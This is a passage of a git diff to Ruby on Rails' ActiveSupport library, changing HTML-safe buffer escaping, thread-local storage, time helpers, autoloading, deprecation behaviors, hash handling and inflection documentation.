+ # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
+ # don't get converted to <tt>&quot;</tt> entities. +json_escape+ doesn't
+ # automatically flag the result as HTML safe, since the raw value is unsafe to
+ # use inside HTML attributes.
+ #
+ # If you need to output JSON elsewhere in your HTML, you can just do something
+ # like this, as any unsafe characters (including quotation marks) will be
+ # automatically escaped for you:
+ #
+ # <div data-user-info="<%= current_user.to_json %>">...</div>
+ #
+ # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+ # will open up serious XSS vulnerabilities. For example, if you replace the
+ # +current_user.to_json+ in the example above with user input instead, the browser
+ # will happily eval() that string as JavaScript.
+ #
+ # The escaping performed in this method is identical to those performed in the
+ # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+ # set to true. Because this transformation is idempotent, this helper can be
+ # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+ #
+ # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+ # is enabled, or if you are unsure where your JSON string originated from, it
+ # is recommended that you always apply this helper (other libraries, such as the
+ # JSON gem, do not provide this kind of protection by default; also some gems
+ # might override +to_json+ to bypass Active Support's encoder).
def json_escape(s)
result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
s.html_safe? ? result.html_safe : result
@@ -84,7 +125,7 @@ module ActiveSupport #:nodoc:
class SafeBuffer < String
UNSAFE_STRING_METHODS = %w(
capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
- slice squeeze strip sub succ swapcase tr tr_s upcase prepend
+ slice squeeze strip sub succ swapcase tr tr_s upcase
)
alias_method :original_concat, :concat
@@ -129,29 +170,31 @@ module ActiveSupport #:nodoc:
self[0, 0]
end
- def concat(value)
- if !html_safe? || value.html_safe?
- super(value)
- else
- super(ERB::Util.h(value))
+ %w[concat prepend].each do |method_name|
+ define_method method_name do |value|
+ super(html_escape_interpolated_argument(value))
end
end
alias << concat
+ def prepend!(value)
+ ActiveSupport::Deprecation.deprecation_warning "ActiveSupport::SafeBuffer#prepend!", :prepend
+ prepend value
+ end
+
def +(other)
dup.concat(other)
end
def %(args)
- args = Array(args).map do |arg|
- if !html_safe? || arg.html_safe?
- arg
- else
- ERB::Util.h(arg)
- end
+ case args
+ when Hash
+ escaped_args = Hash[args.map { |k,arg| [k, html_escape_interpolated_argument(arg)] }]
+ else
+ escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
end
- self.class.new(super(args))
+ self.class.new(super(escaped_args))
end
def html_safe?
@@ -171,7 +214,7 @@ module ActiveSupport #:nodoc:
end
UNSAFE_STRING_METHODS.each do |unsafe_method|
- if 'String'.respond_to?(unsafe_method)
+ if unsafe_method.respond_to?(unsafe_method)
class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
@@ -184,6 +227,12 @@ module ActiveSupport #:nodoc:
EOT
end
end
+
+ private
+
+ def html_escape_interpolated_argument(arg)
+ (!html_safe? || arg.html_safe?) ? arg : ERB::Util.h(arg)
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/string/zones.rb b/activesupport/lib/active_support/core_ext/string/zones.rb
index e3f20eee29..510c884c18 100644
--- a/activesupport/lib/active_support/core_ext/string/zones.rb
+++ b/activesupport/lib/active_support/core_ext/string/zones.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/string/conversions'
require 'active_support/core_ext/time/zones'
class String
diff --git a/activesupport/lib/active_support/core_ext/thread.rb b/activesupport/lib/active_support/core_ext/thread.rb
index 5481766f10..4cd6634558 100644
--- a/activesupport/lib/active_support/core_ext/thread.rb
+++ b/activesupport/lib/active_support/core_ext/thread.rb
@@ -23,29 +23,29 @@ class Thread
# for the fiber local. The fiber is executed in the same thread, so the
# thread local values are available.
def thread_variable_get(key)
- locals[key.to_sym]
+ _locals[key.to_sym]
end
# Sets a thread local with +key+ to +value+. Note that these are local to
# threads, and not to fibers. Please see Thread#thread_variable_get for
# more information.
def thread_variable_set(key, value)
- locals[key.to_sym] = value
+ _locals[key.to_sym] = value
end
- # Returns an an array of the names of the thread-local variables (as Symbols).
+ # Returns an array of the names of the thread-local variables (as Symbols).
#
# thr = Thread.new do
# Thread.current.thread_variable_set(:cat, 'meow')
# Thread.current.thread_variable_set("dog", 'woof')
# end
- # thr.join #=> #<Thread:0x401b3f10 dead>
- # thr.thread_variables #=> [:dog, :cat]
+ # thr.join # => #<Thread:0x401b3f10 dead>
+ # thr.thread_variables # => [:dog, :cat]
#
# Note that these are not fiber local variables. Please see Thread#thread_variable_get
# for more details.
def thread_variables
- locals.keys
+ _locals.keys
end
# Returns <tt>true</tt> if the given string (or symbol) exists as a
@@ -53,22 +53,34 @@ class Thread
#
# me = Thread.current
# me.thread_variable_set(:oliver, "a")
- # me.thread_variable?(:oliver) #=> true
- # me.thread_variable?(:stanley) #=> false
+ # me.thread_variable?(:oliver) # => true
+ # me.thread_variable?(:stanley) # => false
#
# Note that these are not fiber local variables. Please see Thread#thread_variable_get
# for more details.
def thread_variable?(key)
- locals.has_key?(key.to_sym)
+ _locals.has_key?(key.to_sym)
+ end
+
+ # Freezes the thread so that thread local variables cannot be set via
+ # Thread#thread_variable_set, nor can fiber local variables be set.
+ #
+ # me = Thread.current
+ # me.freeze
+ # me.thread_variable_set(:oliver, "a") #=> RuntimeError: can't modify frozen thread locals
+ # me[:oliver] = "a" #=> RuntimeError: can't modify frozen thread locals
+ def freeze
+ _locals.freeze
+ super
end
private
- def locals
- if defined?(@locals)
- @locals
+ def _locals
+ if defined?(@_locals)
+ @_locals
else
- LOCK.synchronize { @locals ||= {} }
+ LOCK.synchronize { @_locals ||= {} }
end
end
end unless Thread.instance_methods.include?(:thread_variable_set)
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
index c65f20c2d5..89cd7516cd 100644
--- a/activesupport/lib/active_support/core_ext/time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -3,7 +3,6 @@ require 'active_support/core_ext/time/conversions'
require 'active_support/time_with_zone'
require 'active_support/core_ext/time/zones'
require 'active_support/core_ext/date_and_time/calculations'
-require 'active_support/deprecation'
class Time
include DateAndTime::Calculations
@@ -26,41 +25,6 @@ class Time
end
end
- # *DEPRECATED*: Use +Time#utc+ or +Time#local+ instead.
- #
- # Returns a new Time if requested year can be accommodated by Ruby's Time class
- # (i.e., if year is within either 1970..2038 or 1902..2038, depending on system architecture);
- # otherwise returns a DateTime.
- def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
- ActiveSupport::Deprecation.warn 'time_with_datetime_fallback is deprecated. Use Time#utc or Time#local instead', caller
- time = ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
-
- # This check is needed because Time.utc(y) returns a time object in the 2000s for 0 <= y <= 138.
- if time.year == year
- time
- else
- ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
- end
- rescue
- ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
- end
-
- # *DEPRECATED*: Use +Time#utc+ instead.
- #
- # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:utc</tt>.
- def utc_time(*args)
- ActiveSupport::Deprecation.warn 'utc_time is deprecated. Use Time#utc instead', caller
- time_with_datetime_fallback(:utc, *args)
- end
-
- # *DEPRECATED*: Use +Time#local+ instead.
- #
- # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:local</tt>.
- def local_time(*args)
- ActiveSupport::Deprecation.warn 'local_time is deprecated. Use Time#local instead', caller
- time_with_datetime_fallback(:local, *args)
- end
-
# Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>.
def current
::Time.zone ? ::Time.zone.now : ::Time.now
@@ -69,10 +33,15 @@ class Time
# Layers additional behavior on Time.at so that ActiveSupport::TimeWithZone and DateTime
# instances can be used when called with a single argument
def at_with_coercion(*args)
- if args.size == 1 && args.first.acts_like?(:time)
- at_without_coercion(args.first.to_i)
+ return at_without_coercion(*args) if args.size != 1
+
+ # Time.at can be called with a time or numerical value
+ time_or_number = args.first
+
+ if time_or_number.is_a?(ActiveSupport::TimeWithZone) || time_or_number.is_a?(DateTime)
+ at_without_coercion(time_or_number.to_f).getlocal
else
- at_without_coercion(*args)
+ at_without_coercion(time_or_number)
end
end
alias_method :at_without_coercion, :at
@@ -122,10 +91,11 @@ class Time
end
end
- # Uses Date to provide precise Time calculations for years, months, and days.
- # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
- # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
- # <tt>:minutes</tt>, <tt>:seconds</tt>.
+ # Uses Date to provide precise Time calculations for years, months, and days
+ # according to the proleptic Gregorian calendar. The +options+ parameter
+ # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>,
+ # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>,
+ # <tt>:seconds</tt>.
def advance(options)
unless options[:weeks].nil?
options[:weeks], partial_weeks = options[:weeks].divmod(1)
@@ -138,6 +108,7 @@ class Time
end
d = to_date.advance(options)
+ d = d.gregorian if d.julian?
time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
seconds_to_advance = \
options.fetch(:seconds, 0) +
@@ -173,6 +144,16 @@ class Time
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
+ # Returns a new Time representing the middle of the day (12:00)
+ def middle_of_day
+ change(:hour => 12)
+ end
+ alias :midday :middle_of_day
+ alias :noon :middle_of_day
+ alias :at_midday :middle_of_day
+ alias :at_noon :middle_of_day
+ alias :at_middle_of_day :middle_of_day
+
# Returns a new Time representing the end of the day, 23:59:59.999999 (.999999999 in ruby1.9)
def end_of_day
change(
@@ -220,27 +201,6 @@ class Time
beginning_of_day..end_of_day
end
- # Returns a Range representing the whole week of the current time.
- # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
- def all_week(start_day = Date.beginning_of_week)
- beginning_of_week(start_day)..end_of_week(start_day)
- end
-
- # Returns a Range representing the whole month of the current time.
- def all_month
- beginning_of_month..end_of_month
- end
-
- # Returns a Range representing the whole quarter of the current time.
- def all_quarter
- beginning_of_quarter..end_of_quarter
- end
-
- # Returns a Range representing the whole year of the current time.
- def all_year
- beginning_of_year..end_of_year
- end
-
def plus_with_duration(other) #:nodoc:
if ActiveSupport::Duration === other
other.since(self)
diff --git a/activesupport/lib/active_support/core_ext/time/conversions.rb b/activesupport/lib/active_support/core_ext/time/conversions.rb
index 48654eb1cc..dbf1f2f373 100644
--- a/activesupport/lib/active_support/core_ext/time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/time/conversions.rb
@@ -16,10 +16,11 @@ class Time
:rfc822 => lambda { |time|
offset_format = time.formatted_offset(false)
time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}")
- }
+ },
+ :iso8601 => lambda { |time| time.iso8601 }
}
- # Converts to a formatted string. See DATE_FORMATS for builtin formats.
+ # Converts to a formatted string. See DATE_FORMATS for built-in formats.
#
# This method is aliased to <tt>to_s</tt>.
#
@@ -34,6 +35,7 @@ class Time
# time.to_formatted_s(:long) # => "January 18, 2007 06:10"
# time.to_formatted_s(:long_ordinal) # => "January 18th, 2007 06:10"
# time.to_formatted_s(:rfc822) # => "Thu, 18 Jan 2007 06:10:17 -0600"
+ # time.to_formatted_s(:iso8601) # => "2007-01-18T06:10:17-06:00"
#
# == Adding your own time formats to +to_formatted_s+
# You can add your own formats to the Time::DATE_FORMATS hash.
diff --git a/activesupport/lib/active_support/core_ext/time/zones.rb b/activesupport/lib/active_support/core_ext/time/zones.rb
index 139d48f59c..bbda04d60c 100644
--- a/activesupport/lib/active_support/core_ext/time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/time/zones.rb
@@ -1,6 +1,8 @@
require 'active_support/time_with_zone'
+require 'active_support/core_ext/date_and_time/zones'
class Time
+ include DateAndTime::Zones
class << self
attr_accessor :zone_default
@@ -73,24 +75,4 @@ class Time
find_zone!(time_zone) rescue nil
end
end
-
- # Returns the simultaneous time in <tt>Time.zone</tt>.
- #
- # Time.zone = 'Hawaii' # => 'Hawaii'
- # Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
- #
- # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
- # instead of the operating system's time zone.
- #
- # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
- # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
- #
- # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
- def in_time_zone(zone = ::Time.zone)
- if zone
- ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
- else
- self
- end
- end
end
diff --git a/activesupport/lib/active_support/dependencies.rb b/activesupport/lib/active_support/dependencies.rb
index 73559bfe0e..59675d744e 100644
--- a/activesupport/lib/active_support/dependencies.rb
+++ b/activesupport/lib/active_support/dependencies.rb
@@ -8,6 +8,7 @@ require 'active_support/core_ext/module/introspection'
require 'active_support/core_ext/module/anonymous'
require 'active_support/core_ext/module/qualified_const'
require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/load_error'
require 'active_support/core_ext/name_error'
require 'active_support/core_ext/string/starts_ends_with'
@@ -175,14 +176,22 @@ module ActiveSupport #:nodoc:
end
def const_missing(const_name)
- # The interpreter does not pass nesting information, and in the
- # case of anonymous modules we cannot even make the trade-off of
- # assuming their name reflects the nesting. Resort to Object as
- # the only meaningful guess we can make.
- from_mod = anonymous? ? ::Object : self
+ from_mod = anonymous? ? guess_for_anonymous(const_name) : self
Dependencies.load_missing_constant(from_mod, const_name)
end
+ # Dependencies assumes the name of the module reflects the nesting (unless
+ # it can be proven that is not the case), and the path to the file that
+ # defines the constant. Anonymous modules cannot follow these conventions
+ # and we assume therefore the user wants to refer to a top-level constant.
+ def guess_for_anonymous(const_name)
+ if Object.const_defined?(const_name)
+ raise NameError, "#{const_name} cannot be autoloaded from an anonymous class or module"
+ else
+ Object
+ end
+ end
+
def unloadable(const_desc = self)
super(const_desc)
end
@@ -198,9 +207,19 @@ module ActiveSupport #:nodoc:
Dependencies.require_or_load(file_name)
end
+ # Interprets a file using <tt>mechanism</tt> and marks its defined
+ # constants as autoloaded. <tt>file_name</tt> can be either a string or
+ # respond to <tt>to_path</tt>.
+ #
+ # Use this method in code that absolutely needs a certain constant to be
+ # defined at that point. A typical use case is to make constant name
+ # resolution deterministic for constants with the same relative name in
+ # different namespaces whose evaluation would depend on load order
+ # otherwise.
def require_dependency(file_name, message = "No such file to load -- %s")
+ file_name = file_name.to_path if file_name.respond_to?(:to_path)
unless file_name.is_a?(String)
- raise ArgumentError, "the file name must be a String -- you passed #{file_name.inspect}"
+ raise ArgumentError, "the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}"
end
Dependencies.depend_on(file_name, message)
@@ -388,7 +407,8 @@ module ActiveSupport #:nodoc:
end
def load_once_path?(path)
- # to_s works around a ruby1.9 issue where #starts_with?(Pathname) will always return false
+ # to_s works around a ruby1.9 issue where String#starts_with?(Pathname)
+ # will raise a TypeError: no implicit conversion of Pathname into String
autoload_once_paths.any? { |base| path.starts_with? base.to_s }
end
@@ -445,8 +465,6 @@ module ActiveSupport #:nodoc:
raise ArgumentError, "A copy of #{from_mod} has been removed from the module tree but is still active!"
end
- raise NameError, "#{from_mod} is not missing constant #{const_name}!" if from_mod.const_defined?(const_name, false)
-
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
@@ -459,7 +477,7 @@ module ActiveSupport #:nodoc:
if loaded.include?(expanded)
raise "Circular dependency detected while autoloading constant #{qualified_name}"
else
- require_or_load(expanded)
+ require_or_load(expanded, qualified_name)
raise LoadError, "Unable to autoload constant #{qualified_name}, expected #{file_path} to define it" unless from_mod.const_defined?(const_name, false)
return from_mod.const_get(const_name)
end
@@ -648,6 +666,14 @@ module ActiveSupport #:nodoc:
constants = normalized.split('::')
to_remove = constants.pop
+ # Remove the file path from the loaded list.
+ file_path = search_for_file(const.underscore)
+ if file_path
+ expanded = File.expand_path(file_path)
+ expanded.sub!(/\.rb\z/, '')
+ self.loaded.delete(expanded)
+ end
+
if constants.empty?
parent = Object
else
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index 0281c9222e..ab16977bda 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -32,7 +32,7 @@ module ActiveSupport
# and the second is a library name
#
# ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
- def initialize(deprecation_horizon = '4.1', gem_name = 'Rails')
+ def initialize(deprecation_horizon = '4.2', gem_name = 'Rails')
self.gem_name = gem_name
self.deprecation_horizon = deprecation_horizon
# By default, warnings are not silenced and debugging is off.
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index 90db180124..328b8c320a 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -1,14 +1,24 @@
require "active_support/notifications"
module ActiveSupport
+ class DeprecationException < StandardError
+ end
+
class Deprecation
# Default warning behaviors per Rails.env.
DEFAULT_BEHAVIORS = {
- :stderr => Proc.new { |message, callstack|
+ raise: ->(message, callstack) {
+ e = DeprecationException.new(message)
+ e.set_backtrace(callstack)
+ raise e
+ },
+
+ stderr: ->(message, callstack) {
$stderr.puts(message)
$stderr.puts callstack.join("\n ") if debug
},
- :log => Proc.new { |message, callstack|
+
+ log: ->(message, callstack) {
logger =
if defined?(Rails) && Rails.logger
Rails.logger
@@ -19,11 +29,13 @@ module ActiveSupport
logger.warn message
logger.debug callstack.join("\n ") if debug
},
- :notify => Proc.new { |message, callstack|
+
+ notify: ->(message, callstack) {
ActiveSupport::Notifications.instrument("deprecation.rails",
:message => message, :callstack => callstack)
},
- :silence => Proc.new { |message, callstack| }
+
+ silence: ->(message, callstack) {},
}
module Behavior
@@ -40,6 +52,7 @@ module ActiveSupport
#
# Available behaviors:
#
+ # [+raise+] Raise <tt>ActiveSupport::DeprecationException</tt>.
# [+stderr+] Log all deprecation warnings to +$stderr+.
# [+log+] Log all deprecation warnings to +Rails.logger+.
# [+notify+] Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
@@ -52,7 +65,7 @@ module ActiveSupport
# ActiveSupport::Deprecation.behavior = :stderr
# ActiveSupport::Deprecation.behavior = [:stderr, :log]
# ActiveSupport::Deprecation.behavior = MyCustomHandler
- # ActiveSupport::Deprecation.behavior = proc { |message, callstack|
+ # ActiveSupport::Deprecation.behavior = ->(message, callstack) {
# # custom stuff
# }
def behavior=(behavior)
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 2cb1f408b6..09eb732ef7 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -49,6 +49,10 @@ module ActiveSupport
end
end
+ def eql?(other)
+ other.is_a?(Duration) && self == other
+ end
+
def self.===(other) #:nodoc:
other.is_a?(Duration)
rescue ::NoMethodError
@@ -70,13 +74,11 @@ module ActiveSupport
alias :until :ago
def inspect #:nodoc:
- consolidated = parts.inject(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }
- parts = [:years, :months, :days, :minutes, :seconds].map do |length|
- n = consolidated[length]
- "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
- end.compact
- parts = ["0 seconds"] if parts.empty?
- parts.to_sentence(:locale => :en)
+ parts.
+ reduce(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }.
+ sort_by {|unit, _ | [:years, :months, :days, :minutes, :seconds].index(unit)}.
+ map {|unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}"}.
+ to_sentence(:locale => :en)
end
def as_json(options = nil) #:nodoc:
@@ -101,6 +103,14 @@ module ActiveSupport
private
+ # We define it as a workaround to Ruby 2.0.0-p353 bug.
+ # For more information, check rails/rails#13055.
+ # It should be dropped once a new Ruby patch-level
+ # release after 2.0.0-p353 happens.
+ def ===(other) #:nodoc:
+ value === other
+ end
+
def method_missing(method, *args, &block) #:nodoc:
value.send(method, *args, &block)
end
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index d6918bede2..78b627c286 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -92,7 +92,7 @@ module ActiveSupport
def watched
@watched || begin
- all = @files.select { |f| File.exists?(f) }
+ all = @files.select { |f| File.exist?(f) }
all.concat(Dir[@glob]) if @glob
all
end
diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb
new file mode 100644
index 0000000000..83a3bf7a5d
--- /dev/null
+++ b/activesupport/lib/active_support/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveSupport
+ # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 95e03ba95c..a4ebdea598 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -55,9 +55,9 @@ module ActiveSupport
end
def initialize(constructor = {})
- if constructor.is_a?(Hash)
+ if constructor.respond_to?(:to_hash)
super()
- update(constructor)
+ update(constructor.to_hash)
else
super(constructor)
end
@@ -72,6 +72,7 @@ module ActiveSupport
end
def self.new_from_hash_copying_default(hash)
+ hash = hash.to_hash
new(hash).tap do |new_hash|
new_hash.default = hash.default
end
@@ -125,7 +126,7 @@ module ActiveSupport
if other_hash.is_a? HashWithIndifferentAccess
super(other_hash)
else
- other_hash.each_pair do |key, value|
+ other_hash.to_hash.each_pair do |key, value|
if block_given? && key?(key)
value = yield(convert_key(key), self[key], value)
end
@@ -159,7 +160,7 @@ module ActiveSupport
#
# counters.fetch('foo') # => 1
# counters.fetch(:bar, 0) # => 0
- # counters.fetch(:bar) {|key| 0} # => 0
+ # counters.fetch(:bar) { |key| 0 } # => 0
# counters.fetch(:zoo) # => KeyError: key not found: "zoo"
def fetch(key, *extras)
super(convert_key(key), *extras)
@@ -172,7 +173,7 @@ module ActiveSupport
# hash[:b] = 'y'
# hash.values_at('a', 'b') # => ["x", "y"]
def values_at(*indices)
- indices.collect {|key| self[convert_key(key)]}
+ indices.collect { |key| self[convert_key(key)] }
end
# Returns an exact copy of the hash.
@@ -207,7 +208,7 @@ module ActiveSupport
# Replaces the contents of this hash with other_hash.
#
# h = { "a" => 100, "b" => 200 }
- # h.replace({ "c" => 300, "d" => 400 }) #=> {"c"=>300, "d"=>400}
+ # h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
def replace(other_hash)
super(self.class.new_from_hash_copying_default(other_hash))
end
@@ -228,7 +229,11 @@ module ActiveSupport
def to_options!; self end
def select(*args, &block)
- dup.select!(*args, &block)
+ dup.tap { |hash| hash.select!(*args, &block) }
+ end
+
+ def reject(*args, &block)
+ dup.tap { |hash| hash.reject!(*args, &block) }
end
# Convert to a regular hash with string keys.
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 890dd9380b..23cd6716e3 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -8,6 +8,8 @@ module I18n
config.i18n.railties_load_path = []
config.i18n.load_path = []
config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
+ # Enforce I18n to check the available locales when setting a locale.
+ config.i18n.enforce_available_locales = true
# Set the i18n configuration after initialization since a lot of
# configuration is still usually done in application initializers.
@@ -31,6 +33,12 @@ module I18n
fallbacks = app.config.i18n.delete(:fallbacks)
+ # Avoid issues with setting the default_locale by disabling available locales
+ # check while configuring.
+ enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+ enforce_available_locales = I18n.enforce_available_locales unless I18n.enforce_available_locales.nil?
+ I18n.enforce_available_locales = false
+
app.config.i18n.each do |setting, value|
case setting
when :railties_load_path
@@ -44,6 +52,9 @@ module I18n
init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
+ # Restore available locales check so it will take place from now on.
+ I18n.enforce_available_locales = enforce_available_locales
+
reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
app.reloaders << reloader
ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index ef882ebd09..2ca1124e76 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -1,5 +1,11 @@
require 'active_support/inflector/inflections'
+#--
+# Defines the standard inflection rules. These are the starting point for
+# new projects and are not considered complete. The current set of inflection
+# rules is frozen. This means, we do not change them to become more complete.
+# This is a safety measure to keep existing applications from breaking.
+#++
module ActiveSupport
Inflector.inflections(:en) do |inflect|
inflect.plural(/$/, 's')
@@ -57,7 +63,6 @@ module ActiveSupport
inflect.irregular('child', 'children')
inflect.irregular('sex', 'sexes')
inflect.irregular('move', 'moves')
- inflect.irregular('cow', 'kine')
inflect.irregular('zombie', 'zombies')
inflect.uncountable(%w(equipment information rice money species series fish sheep jeans police))
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index c96debb93f..eda0edff28 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -52,21 +52,21 @@ module ActiveSupport
# into a non-delimited single lowercase word when passed to +underscore+.
#
# acronym 'HTML'
- # titleize 'html' #=> 'HTML'
- # camelize 'html' #=> 'HTML'
- # underscore 'MyHTML' #=> 'my_html'
+ # titleize 'html' # => 'HTML'
+ # camelize 'html' # => 'HTML'
+ # underscore 'MyHTML' # => 'my_html'
#
# The acronym, however, must occur as a delimited unit and not be part of
# another word for conversions to recognize it:
#
# acronym 'HTTP'
- # camelize 'my_http_delimited' #=> 'MyHTTPDelimited'
- # camelize 'https' #=> 'Https', not 'HTTPs'
- # underscore 'HTTPS' #=> 'http_s', not 'https'
+ # camelize 'my_http_delimited' # => 'MyHTTPDelimited'
+ # camelize 'https' # => 'Https', not 'HTTPs'
+ # underscore 'HTTPS' # => 'http_s', not 'https'
#
# acronym 'HTTPS'
- # camelize 'https' #=> 'HTTPS'
- # underscore 'HTTPS' #=> 'https'
+ # camelize 'https' # => 'HTTPS'
+ # underscore 'HTTPS' # => 'https'
#
# Note: Acronyms that are passed to +pluralize+ will no longer be
# recognized, since the acronym will not occur as a delimited unit in the
@@ -74,25 +74,25 @@ module ActiveSupport
# form as an acronym as well:
#
# acronym 'API'
- # camelize(pluralize('api')) #=> 'Apis'
+ # camelize(pluralize('api')) # => 'Apis'
#
# acronym 'APIs'
- # camelize(pluralize('api')) #=> 'APIs'
+ # camelize(pluralize('api')) # => 'APIs'
#
# +acronym+ may be used to specify any word that contains an acronym or
# otherwise needs to maintain a non-standard capitalization. The only
# restriction is that the word must begin with a capital letter.
#
# acronym 'RESTful'
- # underscore 'RESTful' #=> 'restful'
- # underscore 'RESTfulController' #=> 'restful_controller'
- # titleize 'RESTfulController' #=> 'RESTful Controller'
- # camelize 'restful' #=> 'RESTful'
- # camelize 'restful_controller' #=> 'RESTfulController'
+ # underscore 'RESTful' # => 'restful'
+ # underscore 'RESTfulController' # => 'restful_controller'
+ # titleize 'RESTfulController' # => 'RESTful Controller'
+ # camelize 'restful' # => 'RESTful'
+ # camelize 'restful_controller' # => 'RESTfulController'
#
# acronym 'McDonald'
- # underscore 'McDonald' #=> 'mcdonald'
- # camelize 'mcdonald' #=> 'McDonald'
+ # underscore 'McDonald' # => 'mcdonald'
+ # camelize 'mcdonald' # => 'McDonald'
def acronym(word)
@acronyms[word.downcase] = word
@acronym_regex = /#{@acronyms.values.join("|")}/
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 9ca5a388f8..69f77453e7 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -36,7 +36,7 @@ module ActiveSupport
# string.
#
# If passed an optional +locale+ parameter, the word will be
- # pluralized using rules defined for that language. By default,
+ # singularized using rules defined for that language. By default,
# this parameter is set to <tt>:en</tt>.
#
# 'posts'.singularize # => "post"
@@ -72,7 +72,9 @@ module ActiveSupport
else
string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase }
end
- string.gsub(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }.gsub('/', '::')
+ string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
